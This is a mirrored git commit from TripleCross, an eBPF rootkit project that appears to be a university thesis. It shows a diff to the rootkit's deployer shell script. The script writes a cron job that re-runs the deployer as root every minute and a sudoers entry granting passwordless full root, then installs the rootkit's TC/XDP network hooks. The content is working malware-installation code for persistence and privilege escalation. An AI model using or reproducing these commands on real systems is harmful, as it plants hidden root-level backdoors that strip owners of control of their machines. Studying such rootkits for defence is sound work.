mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-15 23:03:08 +08:00
Added multiple small changes to client and code, submitting almost finished chapter 5
This commit is contained in:
@@ -39,17 +39,22 @@ quiet(){
|
||||
|
||||
#Start of script
|
||||
echo "*******************************************************\n"
|
||||
echo "************************* TFG *************************\n"
|
||||
echo "********************* TripleCross *********************\n"
|
||||
echo "*******************************************************\n"
|
||||
echo "***************** Marcos Sánchez Bajo *****************\n"
|
||||
echo "*******************************************************\n"
|
||||
echo ""
|
||||
|
||||
BACKDOOR_INSTALLED=0
|
||||
## Persistence
|
||||
declare CRON_PERSIST="* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh"
|
||||
declare SUDO_PERSIST="osboxes ALL=(ALL:ALL) NOPASSWD:ALL #"
|
||||
echo "$CRON_PERSIST" > /etc/cron.d/ebpfbackdoor
|
||||
echo "$SUDO_PERSIST" > /etc/sudoers.d/ebpfbackdoor
|
||||
|
||||
# Rootkit install
|
||||
OUTPUT_COMM=$(/bin/sudo /usr/sbin/ip link)
|
||||
if [[ $OUTPUT_COMM == *"xdp"* ]]; then
|
||||
BACKDOOR_INSTALLED=1
|
||||
echo "Backdoor is already installed"
|
||||
echo "Rootkit is already installed"
|
||||
else
|
||||
#Install the programs
|
||||
echo -e "${BLU}Installing TC hook${NC}"
|
||||
@@ -59,7 +64,3 @@ else
|
||||
/bin/sudo "$BASEDIR"/kit -t enp0s3
|
||||
fi
|
||||
|
||||
## Install a backdoor in cron.d
|
||||
echo "* * * * * osboxes /bin/sudo /home/osboxes/TFG/apps/deployer.sh" > /etc/cron.d/ebpfbackdoor
|
||||
echo "osboxes ALL=(ALL:ALL) NOPASSWD:ALL #" > /etc/sudoers.d/ebpfbackdoor
|
||||
|
||||
|
||||
Binary file not shown.
BIN
apps/injector
BIN
apps/injector
Binary file not shown.
BIN
apps/simple_open
BIN
apps/simple_open
Binary file not shown.
Reference in New Issue
Block a user